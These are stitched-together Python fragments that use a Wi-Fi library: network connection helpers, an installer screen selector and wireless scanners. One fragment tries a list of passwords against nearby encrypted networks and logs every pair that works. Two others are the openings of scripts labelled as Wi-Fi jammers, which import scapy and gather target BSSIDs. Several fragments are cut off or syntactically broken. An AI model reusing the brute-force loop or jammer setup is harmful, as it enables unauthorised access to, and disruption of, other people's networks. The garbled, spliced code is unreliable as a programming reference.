def connect_to_network(self, con_settings): if self.access_point.is_running(): self.access_point.stop() wire = wireless.Wireless() if wire.connect(ssid = con_settings['ssid'], password = con_settings['password']): return True self.access_point.start() return False
def get_screen(screen_name, params): screen = None if screen_name == "DesktopAsk": import desktop screen = desktop.DesktopAsk(params) elif screen_name == "Check": from modules.pages import check screen = check.Check(params) elif screen_name == "Timezone": import timezone screen = timezone.Timezone(params) params['settings'].set('timezone_start', True) elif screen_name == "Wireless": import wireless screen = wireless.Wireless(params) elif screen_name == "Welcome": import welcome screen = welcome.Welcome(params) elif screen_name == "UserInfo": import user_info screen = user_info.UserInfo(params) elif screen_name == "Location": import location screen = location.Location(params) elif screen_name == "Language": import language screen = language.Language(params) elif screen_name == "Keymap": import keymap screen = keymap.Keymap(params) elif screen_name == "Features": import features screen = features.Features(params) elif screen_name == "Summary": import summary screen = summary.Summary(params) elif screen_name == "Slides": import slides screen = slides.Slides(params) elif screen_name == "InstallationAsk": import ask screen = ask.InstallationAsk(params) elif screen_name == "InstallationAdvanced": import advanced screen = advanced.InstallationAdvanced(params) elif screen_name == "InstallationAlongside": import alongside screen = alongside.InstallationAlongside(params) elif screen_name == "InstallationAutomatic": import automatic screen = automatic.InstallationAutomatic(params) elif screen_name == "zfs": import zfs screen = zfs.InstallationZFS(params) return screen
def network_scan(): wifi_card = wireless.Wireless() interface = wifi_card.interface() wifi_collect = Cell.all(interface) print "Available networks scan in progress ..." print "#" * 70 bssid = [] time.sleep(2) for wi in wifi_collect: print "SSID : " + wi.ssid print "BSSID : " + wi.address print "Channel : " + str(wi.channel) print "Quality : " + str(wi.quality) print "+-" * 10 bssid.append(wi.address) time.sleep(0.5) print "#" * 70 return bssid
] def Search(): while True: wifilist = [] cells = Cell.all('wlan0') for cell in cells: if cell.encrypted and str(cell.ssid) not in bad_ssids: wifilist.append(cell) if len(wifilist) > 0: return wifilist else: print("trying to find networks") time.sleep(5) ssids = Search() wireless = wireless.Wireless() print("first network found: ", ssids[0].ssid) for ssid in ssids: network_name = str(ssid.ssid) print(network_name) for pw in passwords: if wireless.connect(ssid=network_name, password=pw): line = "ssid: " + network_name + ", pwd: " + pw + "\n" h.write(line) print(line) break
#!/usr/bin/python ################################################################### # # Python Wifi Jammer # @MohamedKabalo # https://www.mohamed-kabalo.com # ################################################################### from scapy.all import * from wifi import Cell import time import wireless wifi1 = wireless.Wireless() interface = wifi1.interface() all_wifi = Cell.all(interface) #print "SSID\t BSSID\t Channel\t Power\t" print "[+] scannig for networks .." bssid = [] time.sleep(2) for wi in all_wifi: print "SSID is : " + wi.ssid print "BSSID is : " + wi.address print "Channel is : " + str(wi.channel) print "Quality is : " + str(wi.quality) print "+" * 20 bssid.append(wi.address) time.sleep(0.5) print "#" * 70
import wireless import nic = wireless.Wireless(interface='wlp2s0') nx_name = '' if nic.current().title() !='': nx_name = nic.current().title().upper() else: nic.connect(input('Enter SSID:',input('Enter Password')))
import wireless, os, sys from wifi import Cell from scapy.all import * uid = os.getuid() if uid == 0: pass else: print('Error! Run it as root!!') sys.exit(0) WIFI = wireless.Wireless() interface = WIFI.interface() print('Loading...') wifi_in_range = Cell.all(interface) bssids = [] print(""" ┬┌─┐┌┬┐┌┬┐┌─┐┬─┐ │├─┤││││││├┤ ├┬┘ └┘┴ ┴┴ ┴┴ ┴└─┘┴└─ By: Anikin Luke """) for wifi in wifi_in_range: print(f'Network (ssid): {wifi.ssid}') print(f'Network (Bssid) : {wifi.address}') print(f'Channel: {wifi.channel}') print(f'Nework quality: {wifi.quality}') bssids.append(wifi.address)